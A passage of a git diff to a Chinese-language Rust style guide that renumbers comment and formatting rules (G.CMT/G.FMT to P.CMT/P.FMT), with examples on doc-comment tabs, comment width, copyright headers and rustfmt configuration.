建议 **【描述】** -文件头(即,模块级)注释应先包含版权说明。如果文件头注释需要增加其他内容,可以在版权说明下面补充。 +Rust 代码风格中提倡使用**四个空格**代替tab,在文档注释中也应该统一使用**四个空格**。 -可以包括: +**【反例】** -1. 文件功能说明。 -2. 作者。 -3. 创建日期 和 最后修改日期。 -4. 注意事项。 -5. 开源许可证(比如, Apache 2.0, BSD, LGPL, GPL)。 -6. 其他。 +下面文档注释中使用了 tab。 -版权说明格式如下: - -- 中文版:`版权所有(c)XXX 技术有限公司 2015-2022`。 -- 英文版: `Copyright (c) XXX Technologies Co.Ltd. 2015-2022. All rights reserved. Licensed under Apache-2.0.` - -其内容可以进行调整,参加下面详细说明: - -- `2015-2022` 根据实际需要可以修改。2015是文件首次创建年份,2022是文件最后修改年份。可以只写一个创建年份,后续如果经常修改则无需修改版权声明。 -- 如果是内部使用,则无需增加 `All rights reserved`。 -- `Licensed under Apache-2.0.`,如果是开源则可以增加许可证声明。 - -编写版权注释时注意事项: - -- 版权注释应该从文件头顶部开始写。 -- 文件头注释首先包含“版权说明”,然后紧跟其他内容。 -- 可选内容应按需添加,避免空有格式没有内容的情况。 -- 保持统一格式,具体格式由项目或更大的范围统一制定。 -- 保持版面工整,换行注意对齐。 +```rust +/// +/// Struct to hold two strings: +/// - first one +/// - second one +pub struct DoubleString { + /// + /// - First String: + /// - needs to be inside here + first_string: String, + /// + /// - Second String: + /// - needs to be inside here + second_string: String, +} +``` **【正例】** ```rust -// 版权所有(c)XXX 技术有限公司 2015-2022。 - -// Or - -// Copyright (c) XXX Technologies Co.Ltd. 2015-2022. -// All rights reserved. Licensed under Apache-2.0. -``` \ No newline at end of file +/// +/// Struct to hold two strings: +/// - first one +/// - second one +pub struct DoubleString { + /// + /// - First String: + /// - needs to be inside here + first_string: String, + /// + /// - Second String: + /// - needs to be inside here + second_string: String, +} +``` + +**【Lint 检测】** + +| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 默认 level | +| ------------------------------------------------------------ | ------------- | ------------ | ---------- | ---------- | +| [tabs_in_doc_comments ](https://rust-lang.github.io/rust-clippy/master/index.html#tabs_in_doc_comments ) | yes | no | Style | warn | + +--- \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/G.CMT.04.md b/src/safe-guides/code_style/comments/G.CMT.04.md index 9e351f24..ea6fefbe 100644 --- a/src/safe-guides/code_style/comments/G.CMT.04.md +++ b/src/safe-guides/code_style/comments/G.CMT.04.md @@ -1,40 +1 @@ -## G.CMT.04 在注释中使用 `FIXME` 和 `TODO` 来帮助任务协作 - -**【级别】** 建议 - -**【描述】** - -通过在注释中开启 `FIXME` 和 `TODO` 可以方便协作。rustfmt 默认不开启该项,所以需要配置。 - -但是配置为 `Always` 没必要,只需要配置为 `Unnumbered` 针对编号的 `FXIME` 和 `TODO` 报告即可。 - -这两个配置目前有 Bug ,无法正确识别报告,但不影响这个规则的应用。 - -**【正例】** - -```rust - -// TODO(calebcartwright): consider enabling box_patterns feature gate -fn annotation_type_for_level(level: Level) -> AnnotationType { - match level { - Level::Bug | Level::Fatal | Level::Error => AnnotationType::Error, - Level::Warning => AnnotationType::Warning, - Level::Note => AnnotationType::Note, - Level::Help => AnnotationType::Help, - // FIXME(#59346): Not sure how to map these two levels - Level::Cancelled | Level::FailureNote => AnnotationType::Error, - Level::Allow => panic!("Should not call with Allow"), - } -} -``` - -**【rustfmt 配置】** - -此规则 Clippy 不可检测,由 rustfmt 自动格式化。 - -rustfmt 配置: - -| 对应选项 | 可选值 | 是否 stable | 说明 | -| ------ | ---- | ---- | ---- | -| [`report_fixme`](https://rust-lang.github.io/rustfmt/?#report_fixme) | Never(默认),Unnumbered(推荐) | No| 是否报告 FIXME 注释 | -| [`report_todo`](https://rust-lang.github.io/rustfmt/?#report_todo) | Never(默认),Unnumbered(推荐) | No| 是否报告 FIXME 注释 | \ No newline at end of file +# P.CMT.04 diff --git a/src/safe-guides/code_style/comments/G.CMT.05.md b/src/safe-guides/code_style/comments/G.CMT.05.md index 8446dc7d..4dd7803d 100644 --- a/src/safe-guides/code_style/comments/G.CMT.05.md +++ b/src/safe-guides/code_style/comments/G.CMT.05.md @@ -1,37 +1 @@ -## G.CMT.05 在 公开的返回`Result`类型返回的函数文档中增加 Error 注释 - -**【级别】** 建议 - -**【描述】** - -在公开(pub)的返回`Result`类型函数文档中,建议增加 `# Error` 注释来解释什么场景下该函数会返回什么样的错误类型,方便用户处理错误。 - -说明: 该规则通过 cargo clippy 来检测。默认不会警告。 - -**【反例】** - -```rust -# use std::io; -pub fn read(filename: String) -> io::Result { - unimplemented!(); -} -``` - -**【正例】** - -```rust -# use std::io; -/// # Errors -/// -/// Will return `Err` if `filename` does not exist or the user does not have -/// permission to read it. -pub fn read(filename: String) -> io::Result { - unimplemented!(); -} -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 默认 level | -| ------ | ---- | --------- | ------ | ------ | -| [missing_errors_doc ](https://rust-lang.github.io/rust-clippy/master/index.html#missing_errors_doc ) | yes| no | Style | allow | \ No newline at end of file +# P.CMT.05 diff --git a/src/safe-guides/code_style/comments/G.CMT.06.md b/src/safe-guides/code_style/comments/G.CMT.06.md deleted file mode 100644 index 4ae132ee..00000000 --- a/src/safe-guides/code_style/comments/G.CMT.06.md +++ /dev/null @@ -1,42 +0,0 @@ -## G.CMT.06 如果公开的API在某些情况下会发生Panic,则相应文档中需增加 Panic 注释 - -**【级别】** 要求 - -**【描述】** - -在公开(pub)函数文档中,建议增加 `# Panic` 注释来解释该函数在什么条件下会 Panic,便于使用者进行预处理。 - -说明: 该规则通过 cargo clippy 来检测。默认不会警告。 - -**【反例】** - -```rust -pub fn divide_by(x: i32, y: i32) -> i32 { - if y == 0 { - panic!("Cannot divide by 0") - } else { - x / y - } -} -``` - -**【正例】** - -```rust -/// # Panics -/// -/// Will panic if y is 0 -pub fn divide_by(x: i32, y: i32) -> i32 { - if y == 0 { - panic!("Cannot divide by 0") - } else { - x / y - } -} -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 默认 level | -| ------ | ---- | --------- | ------ | ------ | -| [missing_panics_doc ](https://rust-lang.github.io/rust-clippy/master/index.html#missing_panics_doc ) | yes| no | Style | allow | \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/G.CMT.07.md b/src/safe-guides/code_style/comments/G.CMT.07.md deleted file mode 100644 index 08c85949..00000000 --- a/src/safe-guides/code_style/comments/G.CMT.07.md +++ /dev/null @@ -1,55 +0,0 @@ -## G.CMT.07 在文档注释中要使用空格代替 tab - -**【级别】** 建议 - -**【描述】** - -Rust 代码风格中提倡使用**四个空格**代替tab,在文档注释中也应该统一使用**四个空格**。 - -**【反例】** - -下面文档注释中使用了 tab。 - -```rust -/// -/// Struct to hold two strings: -/// - first one -/// - second one -pub struct DoubleString { - /// - /// - First String: - /// - needs to be inside here - first_string: String, - /// - /// - Second String: - /// - needs to be inside here - second_string: String, -} -``` - -**【正例】** - -```rust -/// -/// Struct to hold two strings: -/// - first one -/// - second one -pub struct DoubleString { - /// - /// - First String: - /// - needs to be inside here - first_string: String, - /// - /// - Second String: - /// - needs to be inside here - second_string: String, -} -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 默认 level | -| ------------------------------------------------------------ | ------------- | ------------ | ---------- | ---------- | -| [tabs_in_doc_comments ](https://rust-lang.github.io/rust-clippy/master/index.html#tabs_in_doc_comments ) | yes | no | Style | warn | - ---- \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/P.CMT.02.md b/src/safe-guides/code_style/comments/P.CMT.02.md new file mode 100644 index 00000000..40a75a55 --- /dev/null +++ b/src/safe-guides/code_style/comments/P.CMT.02.md @@ -0,0 +1,38 @@ +## P.CMT.02 注释应该有一定宽度限制 + +**【描述】** + +每行注释的宽度不能过长,需要设置一定的宽度,有助于提升可读性。`comment_width`可配合 `wrap_comments` 将超过宽度限制的注释自动分割为多行。 + +注意:`use_small_heuristics`配置项并不包括`comment_width`。 + +**【反例】** + +```rust +// Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. +``` + +**【正例】** + +当 `comment_width=80` 且 `wrap_comments=true`时。 + +注意:这里 `wrap_comments`并未使用默认值,需要配置为 true。 + +```rust +// Lorem ipsum dolor sit amet, consectetur adipiscing elit, +// sed do eiusmod tempor incididunt ut labore et dolore +// magna aliqua. Ut enim ad minim veniam, quis nostrud +// exercitation ullamco laboris nisi ut aliquip ex ea +// commodo consequat. +``` + +**【rustfmt 配置】** + +此规则 Clippy 不可检测,由 rustfmt 自动格式化。 + +rustfmt 配置: + +| 对应选项 | 可选值 | 是否 stable | 说明 | +| ------ | ---- | ---- | ---- | +| [`comment_width`](https://rust-lang.github.io/rustfmt/?#comment_width) | 80(默认) | No| 指定一行注释允许的最大宽度 | +| [`wrap_comments`](https://rust-lang.github.io/rustfmt/?#wrap_comments) | false(默认),true(建议) | No| 运行多行注释按最大宽度自动换成多行注释 | \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/P.CMT.03.md b/src/safe-guides/code_style/comments/P.CMT.03.md new file mode 100644 index 00000000..ec986975 --- /dev/null +++ b/src/safe-guides/code_style/comments/P.CMT.03.md @@ -0,0 +1,58 @@ +## P.CMT.03 使用行注释而避免使用块注释 + +**【描述】** + +尽量使用行注释(`//` 或 `///`),而非块注释。这是Rust社区的约定俗成。 + +对于文档注释,仅在编写模块级文档时使用 `//!`,在其他情况使用 `///`更好。 + +**【反例】** + +```rust +/* + * Wait for the main task to return, and set the process error code + * appropriately. + */ + +mod tests { + //! This module contains tests + + // ... +} + +#![doc = "Example documentation"] + +#[doc = "Example item documentation"] +pub enum Foo {} +``` + +**【正例】** + +当 `normalize_comments = true` 时: + +```rust +// Wait for the main task to return, and set the process error code +// appropriately. + +// 在使用 `mod` 关键字定义模块时,在 `mod`之上使用 `///` 更好。 +/// This module contains tests +mod tests { + // ... +} + +//! Example documentation + +/// Example item documentation +pub enum Foo {} +``` + +**【rustfmt 配置】** + +此规则 Clippy 不可检测,由 rustfmt 自动格式化。 + +rustfmt 配置: + +| 对应选项 | 可选值 | 是否 stable | 说明 | +| ------ | ---- | ---- | ---- | +| [`normalize_comments`](https://rust-lang.github.io/rustfmt/?#normalize_comments) | false(默认) true(推荐) | No| 将 `/**/` 注释转为 `//`| +| [`normalize_doc_attributes`](https://rust-lang.github.io/rustfmt/?#normalize_doc_attributes) | false(默认) | No| 将 `#![doc]` 和 `#[doc]` 注释转为 `//!` 和 `///` | \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/P.CMT.04.md b/src/safe-guides/code_style/comments/P.CMT.04.md new file mode 100644 index 00000000..467fabfe --- /dev/null +++ b/src/safe-guides/code_style/comments/P.CMT.04.md @@ -0,0 +1,44 @@ +## P.CMT.04 文件头注释包含版权说明 + +**【描述】** + +文件头(即,模块级)注释应先包含版权说明。如果文件头注释需要增加其他内容,可以在版权说明下面补充。 + +可以包括: + +1. 文件功能说明。 +2. 作者。 +3. 创建日期 和 最后修改日期。 +4. 注意事项。 +5. 开源许可证(比如, Apache 2.0, BSD, LGPL, GPL)。 +6. 其他。 + +版权说明格式如下: + +- 中文版:`版权所有(c)XXX 技术有限公司 2015-2022`。 +- 英文版: `Copyright (c) XXX Technologies Co.Ltd. 2015-2022. All rights reserved. Licensed under Apache-2.0.` + +其内容可以进行调整,参加下面详细说明: + +- `2015-2022` 根据实际需要可以修改。2015是文件首次创建年份,2022是文件最后修改年份。可以只写一个创建年份,后续如果经常修改则无需修改版权声明。 +- 如果是内部使用,则无需增加 `All rights reserved`。 +- `Licensed under Apache-2.0.`,如果是开源则可以增加许可证声明。 + +编写版权注释时注意事项: + +- 版权注释应该从文件头顶部开始写。 +- 文件头注释首先包含“版权说明”,然后紧跟其他内容。 +- 可选内容应按需添加,避免空有格式没有内容的情况。 +- 保持统一格式,具体格式由项目或更大的范围统一制定。 +- 保持版面工整,换行注意对齐。 + +**【正例】** + +```rust +// 版权所有(c)XXX 技术有限公司 2015-2022。 + +// Or + +// Copyright (c) XXX Technologies Co.Ltd. 2015-2022. +// All rights reserved. Licensed under Apache-2.0. +``` \ No newline at end of file diff --git a/src/safe-guides/code_style/comments/P.CMT.05.md b/src/safe-guides/code_style/comments/P.CMT.05.md new file mode 100644 index 00000000..65f53531 --- /dev/null +++ b/src/safe-guides/code_style/comments/P.CMT.05.md @@ -0,0 +1,38 @@ +## P.CMT.05 在注释中使用 `FIXME` 和 `TODO` 来帮助任务协作 + +**【描述】** + +通过在注释中开启 `FIXME` 和 `TODO` 可以方便协作。rustfmt 默认不开启该项,所以需要配置。 + +但是配置为 `Always` 没必要,只需要配置为 `Unnumbered` 针对编号的 `FXIME` 和 `TODO` 报告即可。 + +这两个配置目前有 Bug ,无法正确识别报告,但不影响这个规则的应用。 + +**【正例】** + +```rust + +// TODO(calebcartwright): consider enabling box_patterns feature gate +fn annotation_type_for_level(level: Level) -> AnnotationType { + match level { + Level::Bug | Level::Fatal | Level::Error => AnnotationType::Error, + Level::Warning => AnnotationType::Warning, + Level::Note => AnnotationType::Note, + Level::Help => AnnotationType::Help, + // FIXME(#59346): Not sure how to map these two levels + Level::Cancelled | Level::FailureNote => AnnotationType::Error, + Level::Allow => panic!("Should not call with Allow"), + } +} +``` + +**【rustfmt 配置】** + +此规则 Clippy 不可检测,由 rustfmt 自动格式化。 + +rustfmt 配置: + +| 对应选项 | 可选值 | 是否 stable | 说明 | +| ------ | ---- | ---- | ---- | +| [`report_fixme`](https://rust-lang.github.io/rustfmt/?#report_fixme) | Never(默认),Unnumbered(推荐) | No| 是否报告 FIXME 注释 | +| [`report_todo`](https://rust-lang.github.io/rustfmt/?#report_todo) | Never(默认),Unnumbered(推荐) | No| 是否报告 FIXME 注释 | \ No newline at end of file diff --git a/src/safe-guides/code_style/fmt.md b/src/safe-guides/code_style/fmt.md index cc4b2645..6e7557bc 100644 --- a/src/safe-guides/code_style/fmt.md +++ b/src/safe-guides/code_style/fmt.md @@ -1,5 +1,7 @@ # 2.2 格式 +制定统一的编码风格,是为了提升代码的可读性,让日常代码维护和团队之间审查代码更加方便。 + Rust 有自动化格式化工具 rustfmt ,可以帮助开发者摆脱手工调整代码格式的工作,提升生产力。但是,rustfmt 遵循什么样的风格规范,作为开发者应该需要了解,在编写代码的时候可以主动按这样的风格编写。 说明:以下 `rustfmt` 配置中对应配置项如果 `Stable`为`No`,则表示该配置项不能用于 Stable Rust 下在 `rustfmt.toml` 中自定义,但其默认值会在`cargo fmt`时生效。在 Nightly Rust 下则都可以自定义。 @@ -11,20 +13,19 @@ Rust 有自动化格式化工具 rustfmt ,可以帮助开发者摆脱手工调 ## 列表 -- [P.FMT.01 代码格式以保证可读性为前提](./fmt/P.FMT.01.md) -- [G.FMT.01 始终使用 rustfmt 进行自动格式化代码](./fmt/G.FMT.01.md) -- [G.FMT.02 缩进始终使用空格(space)而非制表符(tab)](./fmt/G.FMT.02.md) -- [G.FMT.03 行间距最大宽度空一行](./fmt/G.FMT.03.md) -- [G.FMT.04 语言项(Item) 定义时花括号(brace)位置应该与语言项保持同一行](./fmt/G.FMT.04.md) -- [G.FMT.05 存在多个标识符时应该保持块状(Block)缩进](./fmt/G.FMT.05.md) -- [G.FMT.06 当有多行表达式操作时,操作符应该置于行首](./fmt/G.FMT.09.md) -- [G.FMT.07 枚举变体和结构体字段相互之间默认左对齐](./fmt/G.FMT.10.md) -- [G.FMT.08 多个函数参数和导入模块的布局](./fmt/G.FMT.11.md) -- [G.FMT.09 空格使用规则](./fmt/G.FMT.12.md) -- [G.FMT.10 match 分支格式](./fmt/G.FMT.14.md) -- [G.FMT.11 导入模块分组规则](./fmt/G.FMT.15.md) -- [G.FMT.12 声明宏分支格式](./fmt/G.FMT.16.md) -- [G.FMT.13 具名结构体字段初始化时字段名最好不要省略](./fmt/G.FMT.17.md) -- [G.FMT.14 extern 外部函数需要显式指定 ABI](./fmt/G.FMT.18.md) -- [G.FMT.15 解构元组的时候允许使用`..`来指代剩余元素](./fmt/G.FMT.19.md) -- [G.FMT.16 不要将多个不相关的派生(Derive)宏合并为同一行](./fmt/G.FMT.20.md) \ No newline at end of file +- [P.FMT.01 始终使用 rustfmt 进行自动格式化代码](./fmt/P.FMT.01.md) +- [P.FMT.02 缩进始终使用空格(space)而非制表符(tab)](./fmt/P.FMT.02.md) +- [P.FMT.03 行间距最大宽度空一行](./fmt/P.FMT.03.md) +- [P.FMT.04 语言项(Item) 定义时花括号(brace)位置应该与语言项保持同一行](./fmt/P.FMT.04.md) +- [P.FMT.05 存在多个标识符时应该保持块状(Block)缩进](./fmt/P.FMT.05.md) +- [P.FMT.06 当有多行表达式操作时,操作符应该置于行首](./fmt/P.FMT.09.md) +- [P.FMT.07 枚举变体和结构体字段相互之间默认左对齐](./fmt/P.FMT.10.md) +- [P.FMT.08 多个函数参数和导入模块的布局](./fmt/P.FMT.11.md) +- [P.FMT.09 空格使用规则](./fmt/P.FMT.12.md) +- [P.FMT.10 match 分支格式](./fmt/P.FMT.14.md) +- [P.FMT.11 导入模块分组规则](./fmt/P.FMT.15.md) +- [P.FMT.12 声明宏分支格式](./fmt/P.FMT.16.md) +- [P.FMT.13 具名结构体字段初始化时字段名最好不要省略](./fmt/P.FMT.17.md) +- [P.FMT.14 extern 外部函数需要显式指定 ABI](./fmt/P.FMT.18.md) +- [P.FMT.15 解构元组的时候允许使用`..`来指代剩余元素](./fmt/P.FMT.19.md) +- [P.FMT.16 不要将多个不相关的派生(Derive)宏合并为同一行](./fmt/P.FMT.20.md) \ No newline at end of file diff --git a/src/safe-guides/code_style/fmt/G.FMT.01.md b/src/safe-guides/code_style/fmt/G.FMT.01.md deleted file mode 100644 index bca2e4d0..00000000 --- a/src/safe-guides/code_style/fmt/G.FMT.01.md +++ /dev/null @@ -1,85 +0,0 @@ -## G.FMT.01 始终使用 rustfmt 进行自动格式化代码 - -**【级别】** 要求 - -**【描述】** - -应该总是在项目中添加 `rustfmt.toml` 或 `.rustfmt.toml`文件,即使它是空文件。这是向潜在的合作者表明你希望代码是自动格式化的。 - -**【例外】** - -在特殊的情况下,可以通过条件编译属性 `#[cfg_attr(rustfmt, rustfmt_skip)]` 或 `#[rustfmt::skip]` 来关闭自动格式化。 - -比如下面示例: - -`vec!` 中的元素排布是固定格式,这样有助于开发的便利。 - -```rust -fn main() { - let got = vec![ - 0x00, 0x05, 0x01, 0x00, - 0xff, - 0x00, - 0x00, - - 0x01, 0x0c, 0x02, 0x00, - 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, - b'd', b'e', b'a', b'd', b'b', b'e', b'e', b'f', 0x00, - 0x00, - - 127, 0x06, 0x03, 0x00, - 0x01, 0x02, - b'a', b'b', b'c', b'd', 0x00, - b'1', b'2', b'3', b'4', 0x00, - 0x00, - ]; -} -``` - -如果使用 自动格式化,会变成: - -```rust -fn main() { - let got = vec![ - 0x00, 0x05, 0x01, 0x00, 0xff, 0x00, 0x00, 0x01, 0x0c, 0x02, 0x00, 0xde, 0xad, 0xbe, 0xef, - 0xde, 0xad, 0xbe, 0xef, b'd', b'e', b'a', b'd', b'b', b'e', b'e', b'f', 0x00, 0x00, 127, - 0x06, 0x03, 0x00, 0x01, 0x02, b'a', b'b', b'c', b'd', 0x00, b'1', b'2', b'3', b'4', 0x00, - 0x00, - ]; -} -``` - -但是加上 `#[rustfmt::skip]` 就不会被自动格式化影响: - -```rust -fn main() { - #[rustfmt::skip] - let got = vec![ - 0x00, 0x05, 0x01, 0x00, - 0xff, - 0x00, - 0x00, - - 0x01, 0x0c, 0x02, 0x00, - 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, - b'd', b'e', b'a', b'd', b'b', b'e', b'e', b'f', 0x00, - 0x00, - - 127, 0x06, 0x03, 0x00, - 0x01, 0x02, - b'a', b'b', b'c', b'd', 0x00, - b'1', b'2', b'3', b'4', 0x00, - 0x00, - ]; -} -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group |是否可定制| -| ------ | ---- | --------- | ------ | ------ | -| _ | no | no | _ | yes | - -【定制化建议】 - -通过检测 项目 根目录下是否存在 `rustfmt.toml` 或 `.rustfmt.toml` ,如果没有该文件,则发出警告,让开发者使用 rustfmt 来格式化代码。 \ No newline at end of file diff --git a/src/safe-guides/code_style/fmt/P.FMT.01.md b/src/safe-guides/code_style/fmt/P.FMT.01.md index bc7804a8..c642aa6d 100644 --- a/src/safe-guides/code_style/fmt/P.FMT.01.md +++ b/src/safe-guides/code_style/fmt/P.FMT.01.md @@ -1,5 +1,83 @@ -## P.FMT.01 代码格式以保证可读性为前提 +## P.FMT.01 始终使用 rustfmt 进行自动格式化代码 **【描述】** -制定统一的编码风格,是为了提升代码的可读性,让日常代码维护和团队之间审查代码更加方便。 \ No newline at end of file +应该总是在项目中添加 `rustfmt.toml` 或 `.rustfmt.toml`文件,即使它是空文件。这是向潜在的合作者表明你希望代码是自动格式化的。 + +**【例外】** + +在特殊的情况下,可以通过条件编译属性 `#[cfg_attr(rustfmt, rustfmt_skip)]` 或 `#[rustfmt::skip]` 来关闭自动格式化。 + +比如下面示例: + +`vec!` 中的元素排布是固定格式,这样有助于开发的便利。 + +```rust +fn main() { + let got = vec![ + 0x00, 0x05, 0x01, 0x00, + 0xff, + 0x00, + 0x00, + + 0x01, 0x0c, 0x02, 0x00, + 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, + b'd', b'e', b'a', b'd', b'b', b'e', b'e', b'f', 0x00, + 0x00, + + 127, 0x06, 0x03, 0x00, + 0x01, 0x02, + b'a', b'b', b'c', b'd', 0x00, + b'1', b'2', b'3', b'4', 0x00, + 0x00, + ]; +} +``` + +如果使用 自动格式化,会变成: + +```rust +fn main() { + let got = vec![ + 0x00, 0x05, 0x01, 0x00, 0xff, 0x00, 0x00, 0x01, 0x0c, 0x02, 0x00, 0xde, 0xad, 0xbe, 0xef, + 0xde, 0xad, 0xbe, 0xef, b'd', b'e', b'a', b'd', b'b', b'e', b'e', b'f', 0x00, 0x00, 127, + 0x06, 0x03, 0x00, 0x01, 0x02, b'a', b'b', b'c', b'd', 0x00, b'1', b'2', b'3', b'4', 0x00, + 0x00, + ]; +} +``` + +但是加上 `#[rustfmt::skip]` 就不会被自动格式化影响: + +```rust +fn main() { + #[rustfmt::skip] + let got = vec![ + 0x00, 0x05, 0x01, 0x00, + 0xff, + 0x00, + 0x00, + + 0x01, 0x0c, 0x02, 0x00, + 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, + b'd', b'e', b'a', b'd', b'b', b'e', b'e', b'f', 0x00, + 0x00, + + 127, 0x06, 0x03, 0x00, + 0x01, 0x02, + b'a', b'b', b'c', b'd', 0x00, + b'1', b'2', b'3', b'4', 0x00, + 0x00, + ]; +} +``` + +**【Lint 检测】** + +| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group |是否可定制| +| ------ | ---- | --------- | ------ | ------ | +| _ | no | no | _ | yes | + +【定制化建议】 + +通过检测 项目 根目录下是否存在 `rustfmt.toml` 或 `.rustfmt.toml` ,如果没有该文件,则发出警告,让开发者使用 rustfmt 来格式化代码。 \ No newline at end of file diff --git a/src/safe-guides/code_style/fmt/G.FMT.02.md b/src/safe-guides/code_style/fmt/P.FMT.02.md similarity index 84% rename from src/safe-guides/code_style/fmt/G.FMT.02.md rename to src/safe-guides/code_style/fmt/P.FMT.02.md index 2d1d2f8c..00102db4 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.02.md +++ b/src/safe-guides/code_style/fmt/P.FMT.02.md @@ -1,6 +1,5 @@ -## G.FMT.02 缩进始终使用空格(space)而非制表符(tab) +## P.FMT.02 缩进始终使用空格(space)而非制表符(tab) -**【级别】** 要求 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.03.md b/src/safe-guides/code_style/fmt/P.FMT.03.md similarity index 87% rename from src/safe-guides/code_style/fmt/G.FMT.03.md rename to src/safe-guides/code_style/fmt/P.FMT.03.md index 73703096..5d814362 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.03.md +++ b/src/safe-guides/code_style/fmt/P.FMT.03.md @@ -1,6 +1,4 @@ -## G.FMT.03 行间距最大宽度空一行 - -**【级别】** 建议 +## P.FMT.03 行间距最大宽度空一行 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.04.md b/src/safe-guides/code_style/fmt/P.FMT.04.md similarity index 93% rename from src/safe-guides/code_style/fmt/G.FMT.04.md rename to src/safe-guides/code_style/fmt/P.FMT.04.md index 3ac6efe1..ef386220 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.04.md +++ b/src/safe-guides/code_style/fmt/P.FMT.04.md @@ -1,6 +1,4 @@ -## G.FMT.04 语言项(Item) 定义时花括号(brace)位置应该与语言项保持同一行 - -**【级别】** 建议 +## P.FMT.04 语言项(Item) 定义时花括号(brace)位置应该与语言项保持同一行 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.05.md b/src/safe-guides/code_style/fmt/P.FMT.05.md similarity index 91% rename from src/safe-guides/code_style/fmt/G.FMT.05.md rename to src/safe-guides/code_style/fmt/P.FMT.05.md index a39c47e1..5a06e0dc 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.05.md +++ b/src/safe-guides/code_style/fmt/P.FMT.05.md @@ -1,6 +1,4 @@ -## G.FMT.05 存在多个标识符时应该保持块状(Block)缩进 - -**【级别】** 建议 +## P.FMT.05 存在多个标识符时应该保持块状(Block)缩进 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.06.md b/src/safe-guides/code_style/fmt/P.FMT.06.md similarity index 90% rename from src/safe-guides/code_style/fmt/G.FMT.06.md rename to src/safe-guides/code_style/fmt/P.FMT.06.md index d087d0f8..ab150da8 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.06.md +++ b/src/safe-guides/code_style/fmt/P.FMT.06.md @@ -1,6 +1,4 @@ -## G.FMT.06 当有多行表达式操作时,操作符应该置于行首 - -**【级别】** 建议 +## P.FMT.06 当有多行表达式操作时,操作符应该置于行首 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.07.md b/src/safe-guides/code_style/fmt/P.FMT.07.md similarity index 93% rename from src/safe-guides/code_style/fmt/G.FMT.07.md rename to src/safe-guides/code_style/fmt/P.FMT.07.md index f06cfe7b..b820bd1b 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.07.md +++ b/src/safe-guides/code_style/fmt/P.FMT.07.md @@ -1,6 +1,4 @@ -## G.FMT.07 枚举变体和结构体字段相互之间默认左对齐 - -**【级别】** 建议 +## P.FMT.07 枚举变体和结构体字段相互之间默认左对齐 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.08.md b/src/safe-guides/code_style/fmt/P.FMT.08.md similarity index 92% rename from src/safe-guides/code_style/fmt/G.FMT.08.md rename to src/safe-guides/code_style/fmt/P.FMT.08.md index 906fce35..9a62a917 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.08.md +++ b/src/safe-guides/code_style/fmt/P.FMT.08.md @@ -1,6 +1,4 @@ -## G.FMT.08 多个函数参数和导入模块的布局 - -**【级别】** 建议 +## P.FMT.08 多个函数参数和导入模块的布局 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.09.md b/src/safe-guides/code_style/fmt/P.FMT.09.md similarity index 93% rename from src/safe-guides/code_style/fmt/G.FMT.09.md rename to src/safe-guides/code_style/fmt/P.FMT.09.md index 97daae3c..d95f9034 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.09.md +++ b/src/safe-guides/code_style/fmt/P.FMT.09.md @@ -1,6 +1,4 @@ -## G.FMT.09 空格使用规则 - -**【级别】** 建议 +## P.FMT.09 空格使用规则 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.10.md b/src/safe-guides/code_style/fmt/P.FMT.10.md similarity index 94% rename from src/safe-guides/code_style/fmt/G.FMT.10.md rename to src/safe-guides/code_style/fmt/P.FMT.10.md index 03f996d3..7b09cad9 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.10.md +++ b/src/safe-guides/code_style/fmt/P.FMT.10.md @@ -1,6 +1,4 @@ -## G.FMT.10 `match` 分支格式 - -**【级别】** 建议 +## P.FMT.10 `match` 分支格式 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.11.md b/src/safe-guides/code_style/fmt/P.FMT.11.md similarity index 94% rename from src/safe-guides/code_style/fmt/G.FMT.11.md rename to src/safe-guides/code_style/fmt/P.FMT.11.md index f0154da0..992e7465 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.11.md +++ b/src/safe-guides/code_style/fmt/P.FMT.11.md @@ -1,6 +1,4 @@ -## G.FMT.11 导入模块分组规则 - -**【级别】** 建议 +## P.FMT.11 导入模块分组规则 **【描述】** diff --git a/src/safe-guides/code_style/fmt/G.FMT.12.md b/src/safe-guides/code_style/fmt/P.FMT.12.md similarity index 93% rename from src/safe-guides/code_style/fmt/G.FMT.12.md rename to src/safe-guides/code_style/fmt/P.FMT.12.md index 62d86b37..d5b7e9cb 100644 --- a/src/safe-guides/code_style/fmt/G.FMT.12.md +++ b/src/safe-guides/code_style/fmt/P.FMT.12.md @@ -1,6 +1,4 @@ -## G.FMT.12 声明宏分支格式 - -**【级别】** 建议 +## P.FMT.12 声明宏分支格式 **【描述】** diff 